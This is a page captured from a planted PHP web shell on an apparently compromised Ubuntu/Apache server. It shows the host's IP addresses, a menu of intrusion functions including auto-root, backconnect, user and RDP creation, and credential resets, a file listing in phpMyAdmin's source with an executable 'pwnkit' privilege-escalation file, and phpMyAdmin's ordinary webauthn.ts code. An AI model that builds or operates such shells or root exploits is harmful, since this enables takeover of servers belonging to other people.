Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 3.21.55.178
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
phpmyadmin /
resources /
js /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
codemirror
[ DIR ]
drwxr-xr-x
database
[ DIR ]
drwxr-xr-x
designer
[ DIR ]
drwxr-xr-x
jqplot
[ DIR ]
drwxr-xr-x
modules
[ DIR ]
drwxr-xr-x
server
[ DIR ]
drwxr-xr-x
setup
[ DIR ]
drwxr-xr-x
table
[ DIR ]
drwxr-xr-x
transformations
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
chart.ts
18.74
KB
-rw-r--r--
console.ts
140
B
-rw-r--r--
datetimepicker.ts
3.84
KB
-rw-r--r--
drag_drop_import.ts
14.26
KB
-rw-r--r--
error_report.ts
10.68
KB
-rw-r--r--
export.ts
36.8
KB
-rw-r--r--
export_output.ts
469
B
-rw-r--r--
gis_data_editor.ts
15.77
KB
-rw-r--r--
home.ts
625
B
-rw-r--r--
import.ts
13.44
KB
-rw-r--r--
jquery.sortable-table.ts
11.17
KB
-rw-r--r--
main.ts
2.21
KB
-rw-r--r--
makegrid.ts
98.85
KB
-rw-r--r--
menu_resizer.ts
6.55
KB
-rw-r--r--
multi_column_sort.ts
1.53
KB
-rw-r--r--
name-conflict-fixes.ts
83
B
-rw-r--r--
normalization.ts
29.93
KB
-rw-r--r--
ol.mjs
958
B
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
replication.ts
3.98
KB
-rw-r--r--
shortcuts_handler.ts
3.78
KB
-rw-r--r--
sql.ts
48.77
KB
-rw-r--r--
triggers.ts
24
KB
-rw-r--r--
u2f.ts
3.46
KB
-rw-r--r--
validator-messages.ts
1.65
KB
-rw-r--r--
webauthn.ts
4.61
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : webauthn.ts
import $ from 'jquery'; import { AJAX } from './modules/ajax.ts'; import { ajaxShowMessage } from './modules/ajax-message.ts'; /** * @param {ArrayBuffer} buffer * * @return {string} */ const arrayBufferToBase64 = buffer => { const bytes = new Uint8Array(buffer); let string = ''; for (const byte of bytes) { string += String.fromCharCode(byte); } return window.btoa(string); }; /** * @param {string} string * * @return {Uint8Array} */ const base64ToUint8Array = string => { return Uint8Array.from(window.atob(string), char => char.charCodeAt(0)); }; /** * @param {JQuery<HTMLElement>} $input */ const handleCreation = ($input): void => { const $form = $input.parents('form'); $form.find('input[type=submit]').hide(); const creationOptionsJson = $input.attr('data-creation-options'); const creationOptions = JSON.parse(creationOptionsJson); const publicKey = creationOptions; publicKey.challenge = base64ToUint8Array(creationOptions.challenge); publicKey.user.id = base64ToUint8Array(creationOptions.user.id); if (creationOptions.excludeCredentials) { const excludedCredentials = []; for (let value of creationOptions.excludeCredentials) { let excludedCredential = value; excludedCredential.id = base64ToUint8Array(value.id); excludedCredentials.push(excludedCredential); } publicKey.excludeCredentials = excludedCredentials; } // eslint-disable-next-line compat/compat navigator.credentials.create({ publicKey: publicKey }) .then((credential: PublicKeyCredential) => { const credentialJson = JSON.stringify({ id: credential.id, rawId: arrayBufferToBase64(credential.rawId), type: credential.type, response: { clientDataJSON: arrayBufferToBase64(credential.response.clientDataJSON), attestationObject: arrayBufferToBase64((credential.response as AuthenticatorAttestationResponse).attestationObject), } }); $input.val(credentialJson); $form.trigger('submit'); }) .catch((error) => ajaxShowMessage(error, false, 'error')); }; /** * @param {JQuery<HTMLElement>} $input */ const handleRequest = ($input): void => { const $form = $input.parents('form'); $form.find('input[type=submit]').hide(); const requestOptionsJson = $input.attr('data-request-options'); const requestOptions = JSON.parse(requestOptionsJson); const publicKey = requestOptions; publicKey.challenge = base64ToUint8Array(requestOptions.challenge); if (requestOptions.allowCredentials) { const allowedCredentials = []; for (let value of requestOptions.allowCredentials) { let allowedCredential = value; allowedCredential.id = base64ToUint8Array(value.id); allowedCredentials.push(allowedCredential); } publicKey.allowCredentials = allowedCredentials; } // eslint-disable-next-line compat/compat navigator.credentials.get({ publicKey: publicKey }) .then((credential: PublicKeyCredential) => { const credentialJson = JSON.stringify({ id: credential.id, rawId: arrayBufferToBase64(credential.rawId), type: credential.type, response: { authenticatorData: arrayBufferToBase64((credential.response as AuthenticatorAssertionResponse).authenticatorData), clientDataJSON: arrayBufferToBase64(credential.response.clientDataJSON), signature: arrayBufferToBase64((credential.response as AuthenticatorAssertionResponse).signature), userHandle: arrayBufferToBase64((credential.response as AuthenticatorAssertionResponse).userHandle), } }); $input.val(credentialJson); $form.trigger('submit'); }) .catch((error) => ajaxShowMessage(error, false, 'error')); }; AJAX.registerOnload('webauthn.js', function () { if ( ! navigator.credentials || ! navigator.credentials.create || ! navigator.credentials.get || ! window.PublicKeyCredential ) { ajaxShowMessage(window.Messages.webAuthnNotSupported, false, 'error'); return; } const $creationInput = $('#webauthn_creation_response'); if ($creationInput.length > 0) { handleCreation($creationInput); } const $requestInput = $('#webauthn_request_response'); if ($requestInput.length > 0) { handleRequest($requestInput); } });
Close